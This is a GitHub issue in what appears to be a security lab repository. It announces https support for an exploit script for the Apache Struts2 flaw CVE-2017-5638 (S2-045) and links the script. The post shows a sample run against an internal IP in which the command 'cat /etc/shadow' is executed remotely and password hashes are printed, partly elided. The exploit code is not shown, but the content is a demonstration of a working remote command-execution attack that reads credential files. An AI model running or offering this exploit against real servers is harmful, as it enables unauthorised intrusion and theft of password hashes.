Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Exploit] CVE-2017-5638 : Apache Struts2 S2_045 #16

Open
nixawk opened this issue Nov 28, 2017 · 0 comments
Open

[Exploit] CVE-2017-5638 : Apache Struts2 S2_045 #16

nixawk opened this issue Nov 28, 2017 · 0 comments

Comments

@nixawk
Copy link
Owner

nixawk commented Nov 28, 2017

Add https support - https://github.com/nixawk/labs/blob/master/CVE-2017-5638/exploit-requests.py

$ python2.7 test.py https://192.168.1.100/ "cat /etc/shadow"
[+] The target is vulnerable.
[*] struts2-cmd $ cat /etc/shadow

[*] root:$6$nK....9iIdLoX3VzX.U.:17221:0:99999:7:::
bin:*:15513:0:99999:7:::
daemon:*:15513:0:99999:7:::
adm:*:15513:0:99999:7:::
lp:*:15513:0:99999:7:::
....

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

1 participant